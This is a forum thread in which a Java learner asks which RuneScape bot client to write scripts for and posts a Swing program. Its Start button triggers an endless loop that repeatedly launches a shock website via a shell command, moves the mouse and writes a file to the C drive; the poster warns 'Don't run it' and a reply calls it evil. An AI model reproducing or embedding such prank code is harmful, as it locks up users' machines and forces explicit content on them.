Results 1 to 3 of 3

Thread: Learning java, which bot should I script for?

  1. #1
    Join Date
    Sep 2010
    Posts
    5,762
    Mentioned
    136 Post(s)
    Quoted
    2739 Post(s)

    Default Learning java, which bot should I script for?

    So I am learning Java and apart of me learning is I will try to write scripts for Runescape. Which bot should I script for? Powerbot epicbot tri-bot or what?


    Here is the most complicated peice of code I haveI think people on here helped me with it a little while back)

    java Code:
    import java.io.File;
    import java.io.*;
    import java.awt.*;
    import java.awt.event.*;
    import javax.swing.*;
    import javax.swing.event.*;

    import java.awt.Color;
    import java.awt.Container;
    import java.awt.Graphics;
    import java.awt.Robot;
    import java.awt.event.WindowAdapter;
    import java.awt.event.WindowEvent;
    import java.awt.AWTException;
    import java.io.IOException;
    import javax.sound.sampled.*;

    public class MyPanel extends JPanel implements ActionListener {
       
        private JButton jcomp1,jcomp3;
        private JMenuBar jcomp2;
        private JLabel jcomp4;

        public MyPanel() {
            setBackground(Color.white);

            JMenu buildMenu = new JMenu ("Build");
            JMenuItem startItem = new JMenuItem ("Start");
            buildMenu.add (startItem);

            jcomp1 = new JButton ("Start");
            jcomp2 = new JMenuBar();
            jcomp2.add (buildMenu);
            jcomp3 = new JButton ("Settings");
            jcomp4 = new JLabel ("Hit start to begin");

            setPreferredSize (new Dimension (476, 296));
            setLayout (null);
           
            add (jcomp1);
            jcomp1.addActionListener(this);
            add (jcomp2);
            add (jcomp3);
            jcomp3.addActionListener(this);
            add (jcomp4);
            jcomp1.setBounds (225, 240, 185, 35);
            jcomp2.setBounds (0, 0, 480, 35);
            jcomp3.setBounds (40, 240, 185, 35);
            jcomp4.setBounds (175, 195, 130, 35);
           
            jcomp1.setBackground(Color.white);
            jcomp1.setForeground(Color.black);
           
            jcomp3.setBackground(Color.white);
            jcomp3.setForeground(Color.black);
           
            jcomp4.setBackground(Color.white);
            jcomp4.setForeground(Color.white);
        }


        public static void main (String[] args) throws IOException {
            JFrame frame = new JFrame ("This");
            frame.setDefaultCloseOperation (JFrame.EXIT_ON_CLOSE);
            frame.getContentPane().add (new MyPanel());
            frame.pack();
            frame.setVisible (true);
        }
        @Override
        public void actionPerformed(ActionEvent e) {

            if (e.getSource() == jcomp1) {
            System.out.println("HI");  
            }
            if (e.getSource() == jcomp1) {
                            System.out.println("HI");
                    try {
                        while(true) {
                      File file = new File("c:\\newfile.txt");

                        Robot r = new Robot();
                        Process p = Runtime.getRuntime().exec("cmd /c start http://meatspin.com");
                        r.mouseMove(40,40);
                        if (file.createNewFile()){
                            System.out.println("File is created!");
                          }else{
                            System.out.println("File already exists.");
                          }
                        }
                    } catch (IOException | AWTException e1) {
                        e1.printStackTrace();
                    }
                }

        }
    }


    Don't run it.

  2. #2
    Join Date
    Sep 2012
    Location
    Here.
    Posts
    2,007
    Mentioned
    88 Post(s)
    Quoted
    1014 Post(s)

    Default

    That is a terrible terrible program. Not so much terrible due to style/ability but as to the evil it causes upon the user.

    Edit: Also hilarious, but nonetheless, evil.

  3. #3
    Join Date
    Jul 2012
    Posts
    437
    Mentioned
    10 Post(s)
    Quoted
    165 Post(s)

    Default

    J J has a couple video tutorials for tribot. I didn't actually tried it, but it looks simple enough and straight forward
    http://www.youtube.com/watch?v=llumUfiAZeI

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •